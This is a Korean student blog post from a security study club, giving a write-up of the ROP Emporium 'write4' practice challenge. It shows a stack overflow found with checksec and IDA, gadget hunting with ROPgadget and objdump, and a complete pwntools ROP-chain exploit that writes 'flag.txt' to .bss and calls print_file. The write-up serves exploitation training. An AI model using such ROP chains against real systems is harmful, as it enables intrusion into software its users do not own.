Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- 백준
- 숙명여자대학교 정보보안동아리
- WarGame
- c
- C언어
- 숙명여자대학교 정보보안 동아리
- Sookmyung Information Security Study
- HTML
- BOJ Python
- 생활코딩
- 파이썬
- 자료구조 복습
- 웹페이지 만들기
- XSS Game
- Javascript
- hackerrank
- hackctf
- The Loard of BOF
- siss
- Python
- PHP 웹페이지 만들기
- BOJ
- 풀이
- 기계학습
- CSS
- SWEA
- c++
- 드림핵
- 머신러닝
- lob
Archives
- Today
- Total
혜랑's STORY
[ROP Emporium] write4 본문
일단 바이너리 파일을 실행시켜 보았다.
> 뒤에 입력을 받아서 AAAAAAAAAA를 입력해 주었고, Thank you! 라는 문장이 출력되며 프로그램이 종료되었다.
checksec으로 바이너리 파일을 열어보자.
64bit 바이너리 파일이었고, Partial RELRO와 NX가 적용되어 있었다. Partial RELRO가 적용되어 있는 것으로 보아 got overwrite가 가능하다.
IDA로 바이너리 파일을 열어보니
pwnm() 함수를 호출하고 있었고 pwnme() 함수는
read() 함수를 통해 s를 입력받은 때 선언된 s보다 더 많은 값을 입력받을 수 있어 overflow 취약점이 발생하게 된다.
함수 목록에서 usefulFunction() 함수를 발견하였다.
print_file() 함수를 반환하여 파일을 출력하는 함수인 것 같다.
즉, print_file의 인자로 "flag.txt"를 넘겨 플래그를 출력하는 문제인 것 같다.
ROPgadget --binary write4 | grep "pop"
objdump를 사용하여 바이너리 파일의 정보를 보았는데 usefulGadgets 라는 것을 발견하였다.
objdumpp -M intel -d ./write4
레지스터 r15에 저장되어 있는 값을 r14에 저장한다는 것을 알 수 있었고 이를 이용하여 r14에 bss영역을 저장하고 r15로 "flag.txt"를 넣을 것이다. 최종적으로는 r14에 "flag.txt"가 저장되게 된다.
readelf -S ./write4
Exploit Code
from pwn import *
p = process("./write4")
e = ELF("./write4")
libc = e.libc
pop_rdi = 0x400693
r14r15 = 0x400690
bss = 0x601040
payload = 'A' * (0x20 + 0x8)
payload += p64(r14r15)
payload += p64(bss)
payload += "flag.txt"
payload += p64(e.symbols['usefulGadgets'])
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(e.symbols['print_file'])
p.sendlineafter('> ', payload)
p.interactive()
결과
'2021 SISS 21기 활동 > 여름방학 System' 카테고리의 다른 글
[picoCTF] Here's a Libc (0) | 2021.08.11 |
---|---|
[pwnable.xyz] add (0) | 2021.08.07 |
[pwnable.xyz] sub (1) | 2021.08.06 |
[HackCTF] Random key 풀이 (0) | 2021.07.31 |
[HackCTF] RTC 풀이 (0) | 2021.07.31 |